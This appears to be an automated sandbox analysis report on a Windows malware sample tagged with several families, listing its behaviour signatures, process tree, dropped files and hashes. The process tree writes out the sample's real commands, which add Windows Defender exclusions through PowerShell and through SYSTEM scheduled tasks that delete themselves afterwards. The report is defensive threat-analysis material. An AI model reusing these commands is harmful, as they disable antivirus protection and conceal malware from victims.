Analysis

  • max time kernel
    151s
  • max time network
    159s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 19:43

General

  • Target
    2026-08-09_8db560265fead559329c5e9347cf8bf9_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 40.7MB
  • Sample260809-ye7ncaxyat
  • SHA256 81954c3eb41c58a0a6db680161531d83f301e11139eac35e30ac8b2d8c321824
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_8db560265fead559329c5e9347cf8bf9_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_8db560265fead559329c5e9347cf8bf9_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4996
  • C:\Users\Public\4XPlaD\ewctat.exe
    "C:\Users\Public\4XPlaD\ewctat.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4XPlaD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4XPlaD\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1892
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1668
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3672
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1768
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6104
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3616
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1764
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1748
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5724
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3388
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5276
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5024
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2500
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4544
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1696
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:792
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3092
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3824
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1848
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4XPlaD" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2776
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4XPlaD" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4696
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3884
                        • C:\Users\Public\4XPlaD\ewctat.exe
                          "C:\Users\Public\4XPlaD\ewctat.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:3992
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3308
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6056
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1576
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3948
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1824
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3804

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\4XPlaD\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 84e377b3aa7350b227e5701eab5ed48144ca6d4825eb75779960523194bcf339
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\4XPlaD\adoresd.dat
                              • Size 4.7MB
                              • SHA256 f7486969912c3cf7061055279ea91dc2c8eafd5a8396d506ef45a74f23fab326
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ewctat.exe

                              • Path C:\Users\Public\4XPlaD\ewctat.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\4XPlaD\msadox.tb
                              • Size 8KB
                              • SHA256 78e1b9c28ea92c4d6c02d7c754cfb75a162402c83a9dbca66ee3b36994b2b449
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3912-596-0x000001B375C20000-0x000001B375C2A000-memory.dmp

                              memory/3912-595-0x000001B375D40000-0x000001B375DF2000-memory.dmp

                              memory/3912-594-0x000001B375C00000-0x000001B375C1E000-memory.dmp

                              memory/3912-591-0x000001B375BB0000-0x000001B375BD2000-memory.dmp

                              memory/3992-585-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/3992-581-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/3992-576-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/3992-580-0x00007FF867A80000-0x00007FF867A82000-memory.dmp

                              memory/3992-589-0x00007FF867A70000-0x00007FF867A72000-memory.dmp

                              memory/3992-573-0x00007FF844EA0000-0x00007FF8453BE000-memory.dmp

                              memory/3992-586-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/3992-587-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/3992-588-0x000001657CA70000-0x000001657D301000-memory.dmp

                              memory/4996-524-0x0000000004880000-0x000000000488E000-memory.dmp

                              memory/4996-504-0x00007FF858E20000-0x00007FF858E32000-memory.dmp

                              memory/4996-2-0x0000000004890000-0x000000000489C000-memory.dmp

                              memory/4996-0-0x0000000004880000-0x000000000488E000-memory.dmp

                              memory/4996-525-0x00007FF858E20000-0x00007FF858E32000-memory.dmp

                              memory/4996-1-0x0000000004880000-0x000000000488E000-memory.dmp

                              memory/5168-544-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-546-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-563-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-566-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-559-0x0000024426D50000-0x0000024426DDA000-memory.dmp

                              memory/5168-560-0x0000024426D50000-0x0000024426DDA000-memory.dmp

                              memory/5168-561-0x0000024426D50000-0x0000024426DDA000-memory.dmp

                              memory/5168-556-0x00000244241E0000-0x000002442422E000-memory.dmp

                              memory/5168-550-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-557-0x0000024426D50000-0x0000024426DDA000-memory.dmp

                              memory/5168-545-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-531-0x00007FF844EA0000-0x00007FF8453BE000-memory.dmp

                              memory/5168-543-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-538-0x00007FF867A80000-0x00007FF867A82000-memory.dmp

                              memory/5168-539-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-536-0x00000244264B0000-0x0000024426D41000-memory.dmp

                              memory/5168-530-0x00007FF867A70000-0x00007FF867A72000-memory.dmp